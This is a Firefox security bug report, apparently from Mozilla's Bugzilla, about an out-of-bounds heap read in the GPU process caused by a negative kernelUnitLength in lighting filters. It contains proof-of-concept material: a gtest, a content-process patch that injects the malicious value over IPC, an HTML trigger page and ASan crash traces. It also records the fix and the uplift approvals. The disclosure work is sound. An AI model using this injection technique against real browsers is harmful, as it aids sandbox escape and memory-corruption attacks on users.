Lighting Filter OOB Heap Read via Negative kernelUnitLength
Categories
(Core :: Graphics: Canvas2D, defect)
Tracking
()
People
(Reporter: prodigysml555, Assigned: lsalzman)
References
Details
(4 keywords, Whiteboard: [client-bounty-form][adv-main149+][adv-ESR140.9+][adv-ESR115.34+])
Attachments
(2 files)
|
48 bytes,
text/x-phabricator-request
|
pascalc|PTO
:
approval-mozilla-beta+
RyanVM
:
approval-mozilla-esr140+
dveditz
:
sec-approval+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-esr115+
|
Details | Review |
Compromised content process -> GPU process via CanvasTranslator replay.
FilterNodeLightingSoftware::SetAttribute (FilterNodeSoftware.cpp:3362) stores mKernelUnitLength with no validation. Negative values cause the source surface inflation at line 3548 to deflate instead of inflate: ceil(-1.0) = -1, so Inflate(-1) followed by Inflate(1) gives zero net margin. GenerateNormal (line 3464) then reads out-of-bounds via ColorComponentAtPoint's raw pointer arithmetic. The MOZ_ASSERT positivity check at line 3543 is compiled out in release. All 6 lighting filter types (point/spot/distant diffuse/specular) share the same template code.
Same class of bug as the ConvolveMatrix negative KUL finding, but in a different function requiring a separate fix.
The Bug
FilterNodeSoftware.cpp:3358-3368:
void FilterNodeLightingSoftware<LightType, LightingType>::SetAttribute(
uint32_t aIndex, const Size& aKernelUnitLength) {
case ATT_LIGHTING_KERNEL_UNIT_LENGTH:
mKernelUnitLength = aKernelUnitLength; // NO VALIDATION
The only guard is a MOZ_ASSERT at line 3543 — compiled out in release:
MOZ_ASSERT(aKernelUnitLengthX > 0, "...");
MOZ_ASSERT(aKernelUnitLengthY > 0, "...");
With kernelUnitLength = Size(-1.0, -1.0) and an 8x8 A8 surface (stride=8), GenerateNormal accesses data[-stride - 1] at pixel (0,0) — 9 bytes before the buffer.
ASAN Proof
==81512==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60d0000f46cf
READ of size 1 at 0x60d0000f46cf thread T0
#0 FilterNodeLightingSoftware<DistantLightSoftware, DiffuseLightingSoftware>::Render()+0x1d28
allocated by thread T0 here:
#0 malloc
#1 SourceSurfaceAlignedRawData::Init()
SUMMARY: AddressSanitizer: heap-buffer-overflow in FilterNodeLightingSoftware::Render()
PoC
gfx/tests/gtest/TestLightingFilterOOB.cpp:
/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* vim: set ts=8 sts=2 et sw=2 tw=80: */
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
#include "gtest/gtest.h"
#include "2D.h"
#include "Filters.h"
#include "FilterNodeSoftware.h"
using namespace mozilla;
using namespace mozilla::gfx;
TEST(LightingFilterOOB, NegativeKernelUnitLength)
{
RefPtr<DrawTarget> dt = Factory::CreateDrawTarget(
BackendType::SKIA, IntSize(8, 8), SurfaceFormat::B8G8R8A8);
if (!dt) {
return;
}
RefPtr<FilterNode> filter = dt->CreateFilter(FilterType::DISTANT_DIFFUSE);
ASSERT_TRUE(filter);
// Negative kernel unit length: the root cause.
filter->SetAttribute(ATT_DISTANT_DIFFUSE_KERNEL_UNIT_LENGTH,
Size(-1.0f, -1.0f));
filter->SetAttribute(ATT_DISTANT_DIFFUSE_AZIMUTH, 45.0f);
filter->SetAttribute(ATT_DISTANT_DIFFUSE_ELEVATION, 45.0f);
filter->SetAttribute(ATT_DISTANT_DIFFUSE_SURFACE_SCALE, 1.0f);
filter->SetAttribute(ATT_DISTANT_DIFFUSE_DIFFUSE_CONSTANT, 1.0f);
filter->SetAttribute(ATT_DISTANT_DIFFUSE_COLOR,
DeviceColor(1.0f, 1.0f, 1.0f, 1.0f));
filter->SetAttribute(ATT_LIGHTING_RENDER_RECT, IntRect(0, 0, 8, 8));
RefPtr<DataSourceSurface> inputSurface =
Factory::CreateDataSourceSurface(IntSize(8, 8),
SurfaceFormat::B8G8R8A8, true);
ASSERT_TRUE(inputSurface);
filter->SetInput(IN_DISTANT_DIFFUSE_IN, inputSurface);
// ASAN: heap-buffer-overflow READ
dt->DrawFilter(filter, Rect(0, 0, 8, 8), Point(0, 0), DrawOptions());
}
Run: ./mach gtest "LightingFilterOOB.*"
Fix
Clamp kernelUnitLength to positive values in SetAttribute:
mKernelUnitLength.width = std::max(aKernelUnitLength.width, 1.0f);
mKernelUnitLength.height = std::max(aKernelUnitLength.height, 1.0f);
Updated•5 months ago
|
| Reporter | ||
Comment 1•5 months ago
|
||
FilterNodeLightingSoftware::SetAttribute (FilterNodeSoftware.cpp:3362) stores mKernelUnitLength with no validation. Negative values from a compromised content process pass through RecordedFilterNodeSetAttribute::PlayEvent (RecordedEventImpl.h:4471) via CanvasTranslator into the GPU process. The MOZ_ASSERT at line 3543-3546 (checking > 0) is compiled out in release. DoRender passes the negative values to GenerateNormal (line 3464), which reads out-of-bounds via ColorComponentAtPoint's raw pointer arithmetic. With kernelUnitLength = Size(-1, -1), ceil(-1.0) = -1, so Inflate(-1) at line 3550 deflates the source rect. GenerateNormal reads data[-stride - 1] at pixel (0,0).
SVG filters validate kernelUnitLength > 0 before creating the filter node, but CanvasTranslator replay bypasses all SVG-level validation. Same bug class as the ConvolveMatrix negative KUL issue, different filter type, separate code path.
All 6 lighting types (point/spot/distant diffuse/specular) share the template code and are affected.
FilterNodeSoftware.cpp:3358-3368:
void FilterNodeLightingSoftware<LightType, LightingType>::SetAttribute(
uint32_t aIndex, const Size& aKernelUnitLength) {
case ATT_LIGHTING_KERNEL_UNIT_LENGTH:
mKernelUnitLength = aKernelUnitLength; // no validation
Fix: clamp to positive values in SetAttribute:
mKernelUnitLength.width = std::max(aKernelUnitLength.width, 1.0f);
mKernelUnitLength.height = std::max(aKernelUnitLength.height, 1.0f);
Content-side IPC patch
Patches FilterNodeRecording::SetAttribute(uint32_t, const Size&) in the content process to override kernelUnitLength to Size(-1, -1) when recording the attribute. GPU process replays via CanvasTranslator, SetAttribute stores the negative values, DoRender reads OOB.
diff --git a/gfx/2d/DrawTargetRecording.cpp b/gfx/2d/DrawTargetRecording.cpp
index 9c654dcce759..7a8b3c1d2e44 100644
--- a/gfx/2d/DrawTargetRecording.cpp
+++ b/gfx/2d/DrawTargetRecording.cpp
@@ -170,7 +170,19 @@ class FilterNodeRecording : public FilterNode {
FORWARD_SET_ATTRIBUTE(uint32_t, UINT32);
FORWARD_SET_ATTRIBUTE(Float, FLOAT);
- FORWARD_SET_ATTRIBUTE(const Size&, SIZE);
+
+ // PoC: Override Size attrs to inject negative kernel unit length
+ void SetAttribute(uint32_t aIndex, const Size& aValue) override {
+ Size val = aValue;
+ // aIndex 7 = ATT_CONVOLVE_MATRIX_KERNEL_UNIT_LENGTH
+ // aIndex 9 = ATT_LIGHTING_KERNEL_UNIT_LENGTH (ATT_DISTANT_DIFFUSE_KERNEL_UNIT_LENGTH etc.)
+ if (XRE_IsContentProcess() && (aIndex == 7 || aIndex == 9)) {
+ val = Size(-1.0f, -1.0f);
+ }
+ mRecorder->RecordEvent(RecordedFilterNodeSetAttribute(
+ this, aIndex, val,
+ RecordedFilterNodeSetAttribute::ARGTYPE_SIZE));
+ }
+
FORWARD_SET_ATTRIBUTE(const IntSize&, INTSIZE);
FORWARD_SET_ATTRIBUTE(const IntPoint&, INTPOINT);
FORWARD_SET_ATTRIBUTE(const Rect&, RECT);
HTML PoC
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Lighting Filter Negative KernelUnitLength OOB Read - IPC PoC (Finding #11)</title>
</head>
<body>
<svg xmlns="http://www.w3.org/2000/svg" style="position:absolute;width:0;height:0">
<filter id="lighting_kul">
<feDiffuseLighting surfaceScale="1" diffuseConstant="1"
kernelUnitLength="1 1">
<fePointLight x="100" y="100" z="50"/>
</feDiffuseLighting>
</filter>
</svg>
<canvas id="c" width="200" height="200"></canvas>
<pre id="log"></pre>
<script>
document.getElementById('log').textContent =
'Finding #11: Lighting Negative KernelUnitLength OOB Read\n' +
'Content -> GPU via CanvasTranslator\n\n';
const canvas = document.getElementById('c');
const ctx = canvas.getContext('2d');
ctx.fillStyle = 'purple';
ctx.fillRect(0, 0, 200, 200);
ctx.fillStyle = 'white';
ctx.font = '16px monospace';
ctx.fillText('PoC #11', 60, 105);
document.getElementById('log').textContent += 'Testing feDiffuseLighting with negative KUL...\n';
ctx.filter = 'url(#lighting_kul)';
ctx.drawImage(canvas, 0, 0);
document.getElementById('log').textContent += 'Filter applied. Check ASan output.\n';
</script>
</body>
</html>
Steps to reproduce
git applythe patch above./mach build./mach run(ASan build, non-headless, headless uses SWGL with no GPU process)- Navigate to the HTML PoC
- The page applies
feDiffuseLightingwithkernelUnitLength="1 1"via Canvas2D - Content-side patch overrides to
Size(-1, -1), GPU process replays and crashes
ASan Output (IPC, GPU process)
==58081==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00012c3c9648 bp 0x000171311a50 sp 0x000171311160 T22)
==58081==The signal is caused by a WRITE memory access.
==58081==Hint: address points to the zero page.
#0 mozilla::gfx::FilterNodeLightingSoftware<mozilla::gfx::(anonymous namespace)::PointLightSoftware, mozilla::gfx::(anonymous namespace)::DiffuseLightingSoftware>::Render(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&)+0x1494 (XUL:arm64+0x3161648)
#1 mozilla::gfx::FilterNodeSoftware::GetOutput(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&)+0x3d0 (XUL:arm64+0x3119a7c)
#2 mozilla::gfx::FilterNodeSoftware::GetInputDataSourceSurface(...)+0x5a4 (XUL:arm64+0x311bfb8)
#3 mozilla::gfx::FilterNodeCropSoftware::Render(...)+0x208 (XUL:arm64+0x3137020)
...
#15 mozilla::gfx::RecordedDrawFilter::PlayEvent(mozilla::gfx::Translator*) const+0xb8 (XUL:arm64+0x309d3f8)
#16 mozilla::layers::CanvasTranslator::TranslateRecording()::$_0 (XUL:arm64+0x35ba8cc)
#17 mozilla::gfx::RecordedEvent::DoWithEvent<mozilla::gfx::MemReader>(...)+0x21e4 (XUL:arm64+0x3064620)
#18 mozilla::layers::CanvasTranslator::TranslateRecording()+0x274 (XUL:arm64+0x3583ddc)
SUMMARY: AddressSanitizer: SEGV (XUL:arm64+0x3161648) in FilterNodeLightingSoftware<PointLightSoftware, DiffuseLightingSoftware>::Render+0x1494
The IPC path triggers a SEGV at NULL in FilterNodeLightingSoftware::Render in the GPU process (thread T22) via CanvasTranslator::TranslateRecording -> RecordedDrawFilter::PlayEvent. The negative KUL causes deflated source rect arithmetic that produces invalid pointer computations. The GTest (below) shows the underlying heap-buffer-overflow more directly since it operates on a small surface where the negative offset lands in ASan redzones rather than unmapped pages.
ASan Output (GTest, direct API)
==81512==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60d0000f46cf
READ of size 1 at 0x60d0000f46cf thread T0
#0 FilterNodeLightingSoftware<DistantLightSoftware, DiffuseLightingSoftware>::Render()+0x1d28
SUMMARY: AddressSanitizer: heap-buffer-overflow in FilterNodeLightingSoftware::Render()
Updated•5 months ago
|
Updated•5 months ago
|
Comment 2•5 months ago
|
||
The severity field is not set for this bug.
:lsalzman, could you have a look please?
For more information, please visit BugBot documentation.
| Assignee | ||
Updated•5 months ago
|
| Assignee | ||
Updated•5 months ago
|
| Assignee | ||
Updated•5 months ago
|
| Assignee | ||
Comment 3•5 months ago
|
||
Updated•5 months ago
|
| Assignee | ||
Comment 4•5 months ago
|
||
Comment on attachment 9549171 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: It requires bypassing the content process validation by either modifying the code or injecting something into IPC/shmems.
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Yes
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: all supported branches
- If not all supported branches, which bug introduced the flaw?: None
- Do you have backports for the affected branches?: Yes
- If not, how different, hard to create, and risky will they be?:
- How likely is this patch to cause regressions; how much testing does it need?: The patch restructures kernelUnitLength calculations to guard against under or overflow, which might cause some previously unrecognized faulty tests or use-cases to fail. It probably needs a day or so of watch on CI after landing in nightly to verify.
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
Updated•5 months ago
|
Comment 5•5 months ago
|
||
Comment on attachment 9549171 [details]
(secure)
sec-approval+ to land now and request uplifts
Comment 7•5 months ago
|
||
Comment 8•5 months ago
|
||
The patch landed in nightly and beta is affected.
:lsalzman, is this bug important enough to require an uplift?
- If yes, please nominate the patch for beta approval.
- See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
- If no, please set
status-firefox149towontfix.
For more information, please visit BugBot documentation.
| Assignee | ||
Comment 9•5 months ago
•
|
||
Comment on attachment 9549171 [details]
(secure)
Beta/Release Uplift Approval Request
- User impact if declined/Reason for urgency: Potential out-of-bounds memory read in parent/GPU process that might be exploitable from JS.
- Is this code covered by automated tests?: Yes
- Has the fix been verified in Nightly?: Yes
- Needs manual test from QE?: No
- If yes, steps to reproduce:
- List of other uplifts needed: Bug 2016349
- Risk to taking this patch: Medium
- Why is the change risky/not risky? (and alternatives if risky): Might alter some corner cases that I don't foresee affecting valid users.
- String changes made/needed:
- Is Android affected?: Yes
ESR Uplift Approval Request
- If this is not a sec:{high,crit} bug, please state case for ESR consideration:
- User impact if declined:
- Fix Landed on Version: 150
- Risk to taking this patch: Medium
- Why is the change risky/not risky? (and alternatives if risky):
Updated•5 months ago
|
Comment 10•5 months ago
|
||
| uplift | ||
Updated•5 months ago
|
Updated•5 months ago
|
Comment 11•5 months ago
|
||
Comment on attachment 9549171 [details]
(secure)
Approved for 140.9esr. ESR115 will need a rebased patch (including bug 2016349).
Updated•5 months ago
|
Comment 12•5 months ago
|
||
| uplift | ||
| Assignee | ||
Comment 13•5 months ago
|
||
Updated•5 months ago
|
| Assignee | ||
Updated•5 months ago
|
Updated•5 months ago
|
Updated•5 months ago
|
Comment 14•5 months ago
|
||
| uplift | ||
Updated•5 months ago
|
Updated•4 months ago
|
Updated•4 months ago
|
Updated•4 months ago
|
Updated•13 days ago
|
Description
•